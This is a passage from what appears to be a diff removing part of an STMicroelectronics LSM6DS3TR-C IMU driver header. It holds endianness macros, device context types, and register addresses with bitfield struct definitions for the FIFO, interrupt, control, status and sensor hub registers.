DRV_LITTLE_ENDIAN __ORDER_LITTLE_ENDIAN__ -#define DRV_BIG_ENDIAN __ORDER_BIG_ENDIAN__ -#define DRV_BYTE_ORDER __BYTE_ORDER__ - -#endif /* __BYTE_ORDER__*/ -#endif /* DRV_BYTE_ORDER */ - -/** - * @} - * - */ - -/** @defgroup STMicroelectronics sensors common types - * @{ - * - */ - -#ifndef MEMS_SHARED_TYPES -#define MEMS_SHARED_TYPES - -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} bitwise_t; - -#define PROPERTY_DISABLE (0U) -#define PROPERTY_ENABLE (1U) - -/** @addtogroup Interfaces_Functions - * @brief This section provide a set of functions used to read and - * write a generic register of the device. - * MANDATORY: return 0 -> no Error. - * @{ - * - */ - -typedef int32_t (*stmdev_write_ptr)(void*, uint8_t, const uint8_t*, uint16_t); -typedef int32_t (*stmdev_read_ptr)(void*, uint8_t, uint8_t*, uint16_t); -typedef void (*stmdev_mdelay_ptr)(uint32_t millisec); - -typedef struct { - /** Component mandatory fields **/ - stmdev_write_ptr write_reg; - stmdev_read_ptr read_reg; - /** Component optional fields **/ - stmdev_mdelay_ptr mdelay; - /** Customizable optional pointer **/ - void* handle; -} stmdev_ctx_t; - -/** - * @} - * - */ - -#endif /* MEMS_SHARED_TYPES */ - -#ifndef MEMS_UCF_SHARED_TYPES -#define MEMS_UCF_SHARED_TYPES - -/** @defgroup Generic address-data structure definition - * @brief This structure is useful to load a predefined configuration - * of a sensor. - * You can create a sensor configuration by your own or using - * Unico / Unicleo tools available on STMicroelectronics - * web site. - * - * @{ - * - */ - -typedef struct { - uint8_t address; - uint8_t data; -} ucf_line_t; - -/** - * @} - * - */ - -#endif /* MEMS_UCF_SHARED_TYPES */ - -/** - * @} - * - */ - -/** @defgroup LSM6DS3TR_C_Infos - * @{ - * - */ - -/** I2C Device Address 8 bit format if SA0=0 -> D5 if SA0=1 -> D7 **/ -#define LSM6DS3TR_C_I2C_ADD_L 0xD5U -#define LSM6DS3TR_C_I2C_ADD_H 0xD7U - -/** Device Identification (Who am I) **/ -#define LSM6DS3TR_C_ID 0x6AU - -/** - * @} - * - */ - -#define LSM6DS3TR_C_FUNC_CFG_ACCESS 0x01U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t not_used_01 : 5; - uint8_t func_cfg_en : 3; /* func_cfg_en + func_cfg_en_b */ -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t func_cfg_en : 3; /* func_cfg_en + func_cfg_en_b */ - uint8_t not_used_01 : 5; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_func_cfg_access_t; - -#define LSM6DS3TR_C_SENSOR_SYNC_TIME_FRAME 0x04U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t tph : 4; - uint8_t not_used_01 : 4; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t not_used_01 : 4; - uint8_t tph : 4; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensor_sync_time_frame_t; - -#define LSM6DS3TR_C_SENSOR_SYNC_RES_RATIO 0x05U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t rr : 2; - uint8_t not_used_01 : 6; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t not_used_01 : 6; - uint8_t rr : 2; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensor_sync_res_ratio_t; - -#define LSM6DS3TR_C_FIFO_CTRL1 0x06U -typedef struct { - uint8_t fth : 8; /* + FIFO_CTRL2(fth) */ -} lsm6ds3tr_c_fifo_ctrl1_t; - -#define LSM6DS3TR_C_FIFO_CTRL2 0x07U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t fth : 3; /* + FIFO_CTRL1(fth) */ - uint8_t fifo_temp_en : 1; - uint8_t not_used_01 : 2; - uint8_t timer_pedo_fifo_drdy : 1; - uint8_t timer_pedo_fifo_en : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t timer_pedo_fifo_en : 1; - uint8_t timer_pedo_fifo_drdy : 1; - uint8_t not_used_01 : 2; - uint8_t fifo_temp_en : 1; - uint8_t fth : 3; /* + FIFO_CTRL1(fth) */ -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_fifo_ctrl2_t; - -#define LSM6DS3TR_C_FIFO_CTRL3 0x08U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t dec_fifo_xl : 3; - uint8_t dec_fifo_gyro : 3; - uint8_t not_used_01 : 2; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t not_used_01 : 2; - uint8_t dec_fifo_gyro : 3; - uint8_t dec_fifo_xl : 3; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_fifo_ctrl3_t; - -#define LSM6DS3TR_C_FIFO_CTRL4 0x09U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t dec_ds3_fifo : 3; - uint8_t dec_ds4_fifo : 3; - uint8_t only_high_data : 1; - uint8_t stop_on_fth : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t stop_on_fth : 1; - uint8_t only_high_data : 1; - uint8_t dec_ds4_fifo : 3; - uint8_t dec_ds3_fifo : 3; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_fifo_ctrl4_t; - -#define LSM6DS3TR_C_FIFO_CTRL5 0x0AU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t fifo_mode : 3; - uint8_t odr_fifo : 4; - uint8_t not_used_01 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t not_used_01 : 1; - uint8_t odr_fifo : 4; - uint8_t fifo_mode : 3; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_fifo_ctrl5_t; - -#define LSM6DS3TR_C_DRDY_PULSE_CFG_G 0x0BU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t int2_wrist_tilt : 1; - uint8_t not_used_01 : 6; - uint8_t drdy_pulsed : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t drdy_pulsed : 1; - uint8_t not_used_01 : 6; - uint8_t int2_wrist_tilt : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_drdy_pulse_cfg_g_t; - -#define LSM6DS3TR_C_INT1_CTRL 0x0DU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t int1_drdy_xl : 1; - uint8_t int1_drdy_g : 1; - uint8_t int1_boot : 1; - uint8_t int1_fth : 1; - uint8_t int1_fifo_ovr : 1; - uint8_t int1_full_flag : 1; - uint8_t int1_sign_mot : 1; - uint8_t int1_step_detector : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t int1_step_detector : 1; - uint8_t int1_sign_mot : 1; - uint8_t int1_full_flag : 1; - uint8_t int1_fifo_ovr : 1; - uint8_t int1_fth : 1; - uint8_t int1_boot : 1; - uint8_t int1_drdy_g : 1; - uint8_t int1_drdy_xl : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_int1_ctrl_t; - -#define LSM6DS3TR_C_INT2_CTRL 0x0EU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t int2_drdy_xl : 1; - uint8_t int2_drdy_g : 1; - uint8_t int2_drdy_temp : 1; - uint8_t int2_fth : 1; - uint8_t int2_fifo_ovr : 1; - uint8_t int2_full_flag : 1; - uint8_t int2_step_count_ov : 1; - uint8_t int2_step_delta : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t int2_step_delta : 1; - uint8_t int2_step_count_ov : 1; - uint8_t int2_full_flag : 1; - uint8_t int2_fifo_ovr : 1; - uint8_t int2_fth : 1; - uint8_t int2_drdy_temp : 1; - uint8_t int2_drdy_g : 1; - uint8_t int2_drdy_xl : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_int2_ctrl_t; - -#define LSM6DS3TR_C_WHO_AM_I 0x0FU -#define LSM6DS3TR_C_CTRL1_XL 0x10U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bw0_xl : 1; - uint8_t lpf1_bw_sel : 1; - uint8_t fs_xl : 2; - uint8_t odr_xl : 4; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t odr_xl : 4; - uint8_t fs_xl : 2; - uint8_t lpf1_bw_sel : 1; - uint8_t bw0_xl : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_ctrl1_xl_t; - -#define LSM6DS3TR_C_CTRL2_G 0x11U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t not_used_01 : 1; - uint8_t fs_g : 3; /* fs_g + fs_125 */ - uint8_t odr_g : 4; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t odr_g : 4; - uint8_t fs_g : 3; /* fs_g + fs_125 */ - uint8_t not_used_01 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_ctrl2_g_t; - -#define LSM6DS3TR_C_CTRL3_C 0x12U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t sw_reset : 1; - uint8_t ble : 1; - uint8_t if_inc : 1; - uint8_t sim : 1; - uint8_t pp_od : 1; - uint8_t h_lactive : 1; - uint8_t bdu : 1; - uint8_t boot : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t boot : 1; - uint8_t bdu : 1; - uint8_t h_lactive : 1; - uint8_t pp_od : 1; - uint8_t sim : 1; - uint8_t if_inc : 1; - uint8_t ble : 1; - uint8_t sw_reset : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_ctrl3_c_t; - -#define LSM6DS3TR_C_CTRL4_C 0x13U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t not_used_01 : 1; - uint8_t lpf1_sel_g : 1; - uint8_t i2c_disable : 1; - uint8_t drdy_mask : 1; - uint8_t den_drdy_int1 : 1; - uint8_t int2_on_int1 : 1; - uint8_t sleep : 1; - uint8_t den_xl_en : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t den_xl_en : 1; - uint8_t sleep : 1; - uint8_t int2_on_int1 : 1; - uint8_t den_drdy_int1 : 1; - uint8_t drdy_mask : 1; - uint8_t i2c_disable : 1; - uint8_t lpf1_sel_g : 1; - uint8_t not_used_01 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_ctrl4_c_t; - -#define LSM6DS3TR_C_CTRL5_C 0x14U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t st_xl : 2; - uint8_t st_g : 2; - uint8_t den_lh : 1; - uint8_t rounding : 3; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t rounding : 3; - uint8_t den_lh : 1; - uint8_t st_g : 2; - uint8_t st_xl : 2; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_ctrl5_c_t; - -#define LSM6DS3TR_C_CTRL6_C 0x15U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t ftype : 2; - uint8_t not_used_01 : 1; - uint8_t usr_off_w : 1; - uint8_t xl_hm_mode : 1; - uint8_t den_mode : 3; /* trig_en + lvl_en + lvl2_en */ -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t den_mode : 3; /* trig_en + lvl_en + lvl2_en */ - uint8_t xl_hm_mode : 1; - uint8_t usr_off_w : 1; - uint8_t not_used_01 : 1; - uint8_t ftype : 2; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_ctrl6_c_t; - -#define LSM6DS3TR_C_CTRL7_G 0x16U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t not_used_01 : 2; - uint8_t rounding_status : 1; - uint8_t not_used_02 : 1; - uint8_t hpm_g : 2; - uint8_t hp_en_g : 1; - uint8_t g_hm_mode : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t g_hm_mode : 1; - uint8_t hp_en_g : 1; - uint8_t hpm_g : 2; - uint8_t not_used_02 : 1; - uint8_t rounding_status : 1; - uint8_t not_used_01 : 2; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_ctrl7_g_t; - -#define LSM6DS3TR_C_CTRL8_XL 0x17U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t low_pass_on_6d : 1; - uint8_t not_used_01 : 1; - uint8_t hp_slope_xl_en : 1; - uint8_t input_composite : 1; - uint8_t hp_ref_mode : 1; - uint8_t hpcf_xl : 2; - uint8_t lpf2_xl_en : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t lpf2_xl_en : 1; - uint8_t hpcf_xl : 2; - uint8_t hp_ref_mode : 1; - uint8_t input_composite : 1; - uint8_t hp_slope_xl_en : 1; - uint8_t not_used_01 : 1; - uint8_t low_pass_on_6d : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_ctrl8_xl_t; - -#define LSM6DS3TR_C_CTRL9_XL 0x18U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t not_used_01 : 2; - uint8_t soft_en : 1; - uint8_t not_used_02 : 1; - uint8_t den_xl_g : 1; - uint8_t den_z : 1; - uint8_t den_y : 1; - uint8_t den_x : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t den_x : 1; - uint8_t den_y : 1; - uint8_t den_z : 1; - uint8_t den_xl_g : 1; - uint8_t not_used_02 : 1; - uint8_t soft_en : 1; - uint8_t not_used_01 : 2; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_ctrl9_xl_t; - -#define LSM6DS3TR_C_CTRL10_C 0x19U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t sign_motion_en : 1; - uint8_t pedo_rst_step : 1; - uint8_t func_en : 1; - uint8_t tilt_en : 1; - uint8_t pedo_en : 1; - uint8_t timer_en : 1; - uint8_t not_used_01 : 1; - uint8_t wrist_tilt_en : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t wrist_tilt_en : 1; - uint8_t not_used_01 : 1; - uint8_t timer_en : 1; - uint8_t pedo_en : 1; - uint8_t tilt_en : 1; - uint8_t func_en : 1; - uint8_t pedo_rst_step : 1; - uint8_t sign_motion_en : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_ctrl10_c_t; - -#define LSM6DS3TR_C_MASTER_CONFIG 0x1AU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t master_on : 1; - uint8_t iron_en : 1; - uint8_t pass_through_mode : 1; - uint8_t pull_up_en : 1; - uint8_t start_config : 1; - uint8_t not_used_01 : 1; - uint8_t data_valid_sel_fifo : 1; - uint8_t drdy_on_int1 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t drdy_on_int1 : 1; - uint8_t data_valid_sel_fifo : 1; - uint8_t not_used_01 : 1; - uint8_t start_config : 1; - uint8_t pull_up_en : 1; - uint8_t pass_through_mode : 1; - uint8_t iron_en : 1; - uint8_t master_on : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_master_config_t; - -#define LSM6DS3TR_C_WAKE_UP_SRC 0x1BU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t z_wu : 1; - uint8_t y_wu : 1; - uint8_t x_wu : 1; - uint8_t wu_ia : 1; - uint8_t sleep_state_ia : 1; - uint8_t ff_ia : 1; - uint8_t not_used_01 : 2; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t not_used_01 : 2; - uint8_t ff_ia : 1; - uint8_t sleep_state_ia : 1; - uint8_t wu_ia : 1; - uint8_t x_wu : 1; - uint8_t y_wu : 1; - uint8_t z_wu : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_wake_up_src_t; - -#define LSM6DS3TR_C_TAP_SRC 0x1CU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t z_tap : 1; - uint8_t y_tap : 1; - uint8_t x_tap : 1; - uint8_t tap_sign : 1; - uint8_t double_tap : 1; - uint8_t single_tap : 1; - uint8_t tap_ia : 1; - uint8_t not_used_01 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t not_used_01 : 1; - uint8_t tap_ia : 1; - uint8_t single_tap : 1; - uint8_t double_tap : 1; - uint8_t tap_sign : 1; - uint8_t x_tap : 1; - uint8_t y_tap : 1; - uint8_t z_tap : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_tap_src_t; - -#define LSM6DS3TR_C_D6D_SRC 0x1DU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t xl : 1; - uint8_t xh : 1; - uint8_t yl : 1; - uint8_t yh : 1; - uint8_t zl : 1; - uint8_t zh : 1; - uint8_t d6d_ia : 1; - uint8_t den_drdy : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t den_drdy : 1; - uint8_t d6d_ia : 1; - uint8_t zh : 1; - uint8_t zl : 1; - uint8_t yh : 1; - uint8_t yl : 1; - uint8_t xh : 1; - uint8_t xl : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_d6d_src_t; - -#define LSM6DS3TR_C_STATUS_REG 0x1EU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t xlda : 1; - uint8_t gda : 1; - uint8_t tda : 1; - uint8_t not_used_01 : 5; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t not_used_01 : 5; - uint8_t tda : 1; - uint8_t gda : 1; - uint8_t xlda : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_status_reg_t; - -#define LSM6DS3TR_C_OUT_TEMP_L 0x20U -#define LSM6DS3TR_C_OUT_TEMP_H 0x21U -#define LSM6DS3TR_C_OUTX_L_G 0x22U -#define LSM6DS3TR_C_OUTX_H_G 0x23U -#define LSM6DS3TR_C_OUTY_L_G 0x24U -#define LSM6DS3TR_C_OUTY_H_G 0x25U -#define LSM6DS3TR_C_OUTZ_L_G 0x26U -#define LSM6DS3TR_C_OUTZ_H_G 0x27U -#define LSM6DS3TR_C_OUTX_L_XL 0x28U -#define LSM6DS3TR_C_OUTX_H_XL 0x29U -#define LSM6DS3TR_C_OUTY_L_XL 0x2AU -#define LSM6DS3TR_C_OUTY_H_XL 0x2BU -#define LSM6DS3TR_C_OUTZ_L_XL 0x2CU -#define LSM6DS3TR_C_OUTZ_H_XL 0x2DU -#define LSM6DS3TR_C_SENSORHUB1_REG 0x2EU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensorhub1_reg_t; - -#define LSM6DS3TR_C_SENSORHUB2_REG 0x2FU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensorhub2_reg_t; - -#define LSM6DS3TR_C_SENSORHUB3_REG 0x30U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensorhub3_reg_t; - -#define LSM6DS3TR_C_SENSORHUB4_REG 0x31U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensorhub4_reg_t; - -#define LSM6DS3TR_C_SENSORHUB5_REG 0x32U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensorhub5_reg_t; - -#define LSM6DS3TR_C_SENSORHUB6_REG 0x33U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensorhub6_reg_t; - -#define LSM6DS3TR_C_SENSORHUB7_REG 0x34U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensorhub7_reg_t; - -#define LSM6DS3TR_C_SENSORHUB8_REG 0x35U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensorhub8_reg_t; - -#define LSM6DS3TR_C_SENSORHUB9_REG 0x36U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensorhub9_reg_t; - -#define LSM6DS3TR_C_SENSORHUB10_REG 0x37U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensorhub10_reg_t; - -#define LSM6DS3TR_C_SENSORHUB11_REG 0x38U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensorhub11_reg_t; - -#define LSM6DS3TR_C_SENSORHUB12_REG 0x39U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensorhub12_reg_t; - -#define LSM6DS3TR_C_FIFO_STATUS1 0x3AU -typedef struct { - uint8_t diff_fifo : 8; /* + FIFO_STATUS2(diff_fifo) */ -} lsm6ds3tr_c_fifo_status1_t; - -#define LSM6DS3TR_C_FIFO_STATUS2 0x3BU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t diff_fifo : 3; /* + FIFO_STATUS1(diff_fifo) */ - uint8_t not_used_01 : 1; - uint8_t fifo_empty : 1; - uint8_t fifo_full_smart : 1; - uint8_t over_run : 1; - uint8_t waterm : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t waterm : 1; - uint8_t over_run : 1; - uint8_t fifo_full_smart : 1; - uint8_t fifo_empty : 1; - uint8_t not_used_01 : 1; - uint8_t diff_fifo : 3; /* + FIFO_STATUS1(diff_fifo) */ -#endif /* DRV_BYTE_ORDER */ -} 